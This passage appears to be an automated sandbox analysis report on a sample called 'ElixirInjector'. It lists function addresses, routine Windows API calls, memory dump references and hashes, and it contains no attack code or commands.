                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Process$AffinityCurrentMask
                                                                                              • String ID:
                                                                                              • API String ID: 1231390398-0
                                                                                              • Opcode ID: 07e31bc5e0c7fa220620d63703e914f473e43c36d35b6d7e096de9311947cca5
                                                                                              • Instruction ID: f848a25858b33063caa40048ecb15d1d1b2f3c27bbeb0a6439d1f1a69f50fd6a
                                                                                              • Opcode Fuzzy Hash: 07e31bc5e0c7fa220620d63703e914f473e43c36d35b6d7e096de9311947cca5
                                                                                              • Instruction Fuzzy Hash: 02E09236F01159A7CF19C7A5AC058AB72EDFA642183104175E803D3101F930DE416664
                                                                                              Function 00F1A4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00F1A325,?,?,?,00F1A175,?,00000001,00000000,?,?), ref: 00F1A501
                                                                                                • Part of subcall function 00F1BB03: _wcslen.LIBCMT ref: 00F1BB27
                                                                                              • SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00F1A325,?,?,?,00F1A175,?,00000001,00000000,?,?), ref: 00F1A532
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AttributesFile$_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 2673547680-0
                                                                                              • Opcode ID: 4461df5f684dc173180716fc02309bbd88abd47ea3959579ce683171bc5e4e46
                                                                                              • Instruction ID: c74b32051712ffae97efead66502e4ff9d54bd44a019967fd0f7d9b1332558c4
                                                                                              • Opcode Fuzzy Hash: 4461df5f684dc173180716fc02309bbd88abd47ea3959579ce683171bc5e4e46
                                                                                              • Instruction Fuzzy Hash: 8FF0A932240209BBEF019F60DC41FDA376DAF14389F488460BC48E6160DB31CAD8FA10
                                                                                              Function 00F1A1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • DeleteFileW.KERNELBASE(000000FF,?,?,00F1977F,?,?,00F195CF,?,?,?,?,?,00F42641,000000FF), ref: 00F1A1F1
                                                                                                • Part of subcall function 00F1BB03: _wcslen.LIBCMT ref: 00F1BB27
                                                                                              • DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00F1977F,?,?,00F195CF,?,?,?,?,?,00F42641), ref: 00F1A21F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: DeleteFile$_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 2643169976-0
                                                                                              • Opcode ID: 5892f867bb64238b4eb7718a078691870df68bc03b71dc8d009337bc88a4c2c6
                                                                                              • Instruction ID: e85e40f3264ec61bcfd4253ee4905143cbac544f85802f6625e64182f1ec8a8b
                                                                                              • Opcode Fuzzy Hash: 5892f867bb64238b4eb7718a078691870df68bc03b71dc8d009337bc88a4c2c6
                                                                                              • Instruction Fuzzy Hash: ACE068355402086BDB009F60DC41FDA376CAF0C3C5F080021BC04D2050EB35CEC4FA10
                                                                                              Function 00F2AC7C Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GdiplusShutdown.GDIPLUS(?,?,?,?,00F42641,000000FF), ref: 00F2ACB0
                                                                                              • CoUninitialize.COMBASE(?,?,?,?,00F42641,000000FF), ref: 00F2ACB5
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: GdiplusShutdownUninitialize
                                                                                              • String ID:
                                                                                              • API String ID: 3856339756-0
                                                                                              • Opcode ID: b69e08640cf2238efc67297969f60f4f233c1e6b0776bb6637c9ffbe8cacdb24
                                                                                              • Instruction ID: a8fa0265511f167939b8cbe3806efa5ef5640ece71bf7951fcb9a137e2797124
                                                                                              • Opcode Fuzzy Hash: b69e08640cf2238efc67297969f60f4f233c1e6b0776bb6637c9ffbe8cacdb24
                                                                                              • Instruction Fuzzy Hash: C3E06572504654EFC700DB58DC06B45FBA8FB89B20F104265F416D3760CB74B941DA95
                                                                                              Function 00F1A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetFileAttributesW.KERNELBASE(?,?,?,00F1A23A,?,00F1755C,?,?,?,?), ref: 00F1A254
                                                                                                • Part of subcall function 00F1BB03: _wcslen.LIBCMT ref: 00F1BB27
                                                                                              • GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00F1A23A,?,00F1755C,?,?,?,?), ref: 00F1A280
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AttributesFile$_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 2673547680-0
                                                                                              • Opcode ID: 5ee0add0acaa21daa6130a3d0542bb99744deaf831c762e23ee76fd74c52be9c
                                                                                              • Instruction ID: 38b2463872dfce0e9470bd8e029bae311f37b2ab5835e40788addbd14f06ee54
                                                                                              • Opcode Fuzzy Hash: 5ee0add0acaa21daa6130a3d0542bb99744deaf831c762e23ee76fd74c52be9c
                                                                                              • Instruction Fuzzy Hash: A9E092359001289BDB11EB68DC05BD977A8AB193E5F0442A1FD44E3190D771DE84EAA0
                                                                                              Function 00F2DEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _swprintf.LIBCMT ref: 00F2DEEC
                                                                                                • Part of subcall function 00F14092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F140A5
                                                                                              • SetDlgItemTextW.USER32(00000065,?), ref: 00F2DF03
                                                                                                • Part of subcall function 00F2B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00F2B579
                                                                                                • Part of subcall function 00F2B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F2B58A
                                                                                                • Part of subcall function 00F2B568: IsDialogMessageW.USER32(000103D8,?), ref: 00F2B59E
                                                                                                • Part of subcall function 00F2B568: TranslateMessage.USER32(?), ref: 00F2B5AC
                                                                                                • Part of subcall function 00F2B568: DispatchMessageW.USER32(?), ref: 00F2B5B6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
                                                                                              • String ID:
                                                                                              • API String ID: 2718869927-0
                                                                                              • Opcode ID: e7f2e7f2d9fb87b39a9c90265bab6823f77dfabf0b8d659c0ac932fb2ce3e850
                                                                                              • Instruction ID: a7641fe015ff322e2047b63c86cda798c8240372b1294c932fb7f05b1762a2b8
                                                                                              • Opcode Fuzzy Hash: e7f2e7f2d9fb87b39a9c90265bab6823f77dfabf0b8d659c0ac932fb2ce3e850
                                                                                              • Instruction Fuzzy Hash: ECE092B240035C26DF02AB61DC07FDE3B6C5B057C6F440851BB44EA0A2DA7CEA51AB61
                                                                                              Function 00F2081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00F20836
                                                                                              • LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00F1F2D8,Crypt32.dll,00000000,00F1F35C,?,?,00F1F33E,?,?,?), ref: 00F20858
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: DirectoryLibraryLoadSystem
                                                                                              • String ID:
                                                                                              • API String ID: 1175261203-0
                                                                                              • Opcode ID: c96d8e4230e7baa473efde497d4404ba79d20b77f93da98a464611fb197d57ed
                                                                                              • Instruction ID: 3443e7f64d8e848f9f351e97db01b6dfc269d2e9b445aef889c52ddd186f5da7
                                                                                              • Opcode Fuzzy Hash: c96d8e4230e7baa473efde497d4404ba79d20b77f93da98a464611fb197d57ed
                                                                                              • Instruction Fuzzy Hash: C4E0487780012C6BDB11A794EC45FDB7BACEF193D1F0400657A45E2004DA74DA84DBB0
                                                                                              Function 00F2A3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00F2A3DA
                                                                                              • GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00F2A3E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: BitmapCreateFromGdipStream
                                                                                              • String ID:
                                                                                              • API String ID: 1918208029-0
                                                                                              • Opcode ID: 02bf859c0a1477d6d62f55fea0169f23e832d80f6461b5d045680497402810d8
                                                                                              • Instruction ID: 8b277a418abee1e9bfed7ae35766bf7f8043f70be64e1faff6f0d7a5e033a8bd
                                                                                              • Opcode Fuzzy Hash: 02bf859c0a1477d6d62f55fea0169f23e832d80f6461b5d045680497402810d8
                                                                                              • Instruction Fuzzy Hash: 10E01271900228EFCB10DF55D94179DBBF8EF05364F20C05AE84697201E374AE44EB91
                                                                                              Function 00F32B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F32BAA
                                                                                              • ___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00F32BB5
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Value___vcrt____vcrt_uninitialize_ptd
                                                                                              • String ID:
                                                                                              • API String ID: 1660781231-0
                                                                                              • Opcode ID: 29d5374bdd3c7cf0ce3b25a63aee3cb478be883ecf26125c8e67849c1c07c225
                                                                                              • Instruction ID: d67463df12b40832ce70458afa33b80432af73a5558e9f55b550a5aa4f9a735b
                                                                                              • Opcode Fuzzy Hash: 29d5374bdd3c7cf0ce3b25a63aee3cb478be883ecf26125c8e67849c1c07c225
                                                                                              • Instruction Fuzzy Hash: 7BD02239954304185DD4AEB03C0394CB386FDD2BB1FA0538AF830854C1EE18C040B023
                                                                                              Function 00F112F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ItemShowWindow
                                                                                              • String ID:
                                                                                              • API String ID: 3351165006-0
                                                                                              • Opcode ID: 949193e574289b5c361da0e998b57a8543a3d5311d7d1e8204c1359960ac4727
                                                                                              • Instruction ID: 96240ffe2183a7b724744109da055baa2919c5717a8ee7c561af0e578a65fee6
                                                                                              • Opcode Fuzzy Hash: 949193e574289b5c361da0e998b57a8543a3d5311d7d1e8204c1359960ac4727
                                                                                              • Instruction Fuzzy Hash: C1C0123285C228FECB010BB4DC09C2BBBAAABA5312F04C908B0A9C0060CA38C150FB12
                                                                                              Function 00F11A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: c1f54bce3e027d038177047557cd0c777ae299f6aa22c0d33ca793d9dc16b6fc
                                                                                              • Instruction ID: 3420c646ef75bb0abb8616aef54ac0f6b249ad936367c19d623c504fb40a6a69
                                                                                              • Opcode Fuzzy Hash: c1f54bce3e027d038177047557cd0c777ae299f6aa22c0d33ca793d9dc16b6fc
                                                                                              • Instruction Fuzzy Hash: BAC1C630E042549FEF15CF68C884BE97BA5BF56320F0801B9EE459B396DB3499C4EB61
                                                                                              Function 00F13BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: 95258c3916e79ed19a12951a9461284c7490908c394f9640cf220220e30f1385
                                                                                              • Instruction ID: a80159fd824b0de33b6a34157b99852bb3b07d63b271a32a8552974d3047b296
                                                                                              • Opcode Fuzzy Hash: 95258c3916e79ed19a12951a9461284c7490908c394f9640cf220220e30f1385
                                                                                              • Instruction Fuzzy Hash: 0D71E371500B859EDB35DB70CC55AE7B7E9AF14301F40092EE6AB87242DA367AC8EF11
                                                                                              Function 00F18284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F18289
                                                                                                • Part of subcall function 00F113DC: __EH_prolog.LIBCMT ref: 00F113E1
                                                                                                • Part of subcall function 00F1A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00F1A598
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog$CloseFind
                                                                                              • String ID:
                                                                                              • API String ID: 2506663941-0
                                                                                              • Opcode ID: 6c6cbd19bf71fcc3eafbe1ead3d3947786679733360e555896789ab3256602d7
                                                                                              • Instruction ID: 915b9ababa1806258c4e35e66b7ec6189eaba4572fe13ecef4f299fcead51aa9
                                                                                              • Opcode Fuzzy Hash: 6c6cbd19bf71fcc3eafbe1ead3d3947786679733360e555896789ab3256602d7
                                                                                              • Instruction Fuzzy Hash: 9F41E871D446589ADB20DB60CD55BEAB778BF00340F0800EBE19A97083EF755EC5EB50
                                                                                              Function 00F113E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F113E1
                                                                                                • Part of subcall function 00F15E37: __EH_prolog.LIBCMT ref: 00F15E3C
                                                                                                • Part of subcall function 00F1CE40: __EH_prolog.LIBCMT ref: 00F1CE45
                                                                                                • Part of subcall function 00F1B505: __EH_prolog.LIBCMT ref: 00F1B50A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: d5786ef6797f96604dc7120260f11cd80298eec2de8144e05f4ab25d671c02bb
                                                                                              • Instruction ID: 8088009d40f272d3b2d71feebb78f5d06268dc7b0b06389b3e0db42a795866cf
                                                                                              • Opcode Fuzzy Hash: d5786ef6797f96604dc7120260f11cd80298eec2de8144e05f4ab25d671c02bb
                                                                                              • Instruction Fuzzy Hash: CE414CB0905B40DEE724CF798885AE6FBE5BF19310F544A2ED5FE83282CB356654DB10
                                                                                              Function 00F113DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F113E1
                                                                                                • Part of subcall function 00F15E37: __EH_prolog.LIBCMT ref: 00F15E3C
                                                                                                • Part of subcall function 00F1CE40: __EH_prolog.LIBCMT ref: 00F1CE45
                                                                                                • Part of subcall function 00F1B505: __EH_prolog.LIBCMT ref: 00F1B50A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: 2093091562efcda949cf5dab3bfe2d8da1df4ec168f5e071bef0c7b59f57f726
                                                                                              • Instruction ID: 3f8d6383c1569d852461b1dfe9c86b84fc2ef0e0bc96aa3c3a69c7809ec59a8a
                                                                                              • Opcode Fuzzy Hash: 2093091562efcda949cf5dab3bfe2d8da1df4ec168f5e071bef0c7b59f57f726
                                                                                              • Instruction Fuzzy Hash: AF4159B0905B409EE724CF798885AE6FBE5BF29310F544A2ED5FE83282CB352654DB10
                                                                                              Function 00F2359E Relevance: 1.6, APIs: 1, Instructions: 89COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
